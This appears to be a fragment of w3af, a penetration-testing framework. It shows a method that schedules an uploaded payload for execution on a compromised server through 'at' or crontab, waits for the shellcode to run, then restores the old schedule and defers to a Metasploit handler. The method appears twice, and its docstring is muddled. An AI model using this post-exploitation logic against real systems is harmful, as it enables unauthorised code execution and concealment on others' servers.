def _exec_payload(self):
'''
This method should be implemented according to the remote operating system. The idea here is to
execute the payload that was sent using _sendExeToServer and generated by _generateExe . In winVd
I should add self._filename to the crontab .
This method should be implemented in winVd and winVd.
'''
aH = atHandler(self._exec_method)
if not aH.can_delay():
om.out.information(
'Remote user is not allowed to run at! Running command without at, this may cause a timeout.'
)
self._exec(self._remote_filename)
else:
wait_time = aH.add_to_schedule(self._remote_filename)
om.out.console(
'"at" entry successfully added. Waiting for shellcode execution.'
)
time.sleep(wait_time + 3)
om.out.console(
'Payload successfully executed, restoring old "at".')
aH.restore_old_schedule()
om.out.debug(
'All done, check metasploit handler console for results.')
def get_delayed_execution_handler(self):
os = os_detection_exec(self._exec_method)
if os == 'windows':
return atHandler(self._exec_method)
elif os == 'linux':
return crontabHandler(self._exec_method)
else:
raise w3afException(
'Failed to create a delayed execution handler.')
def _exec_payload(self):
'''
This method should be implemented according to the remote operating system. The idea here is to
execute the payload that was sent using _sendExeToServer and generated by _generateExe . In winVd
I should add self._filename to the crontab .
This method should be implemented in winVd and winVd.
'''
aH = atHandler(self._exec_method)
if not aH.can_delay():
om.out.information('Remote user is not allowed to run at! Running command without at, this may cause a timeout.')
self._exec(self._remote_filename)
else:
wait_time = aH.add_to_schedule(self._remote_filename)
om.out.console('"at" entry successfully added. Waiting for shellcode execution.')
time.sleep(wait_time + 3)
om.out.console(
'Payload successfully executed, restoring old "at".')
aH.restore_old_schedule()
om.out.debug(
'All done, check metasploit handler console for results.')
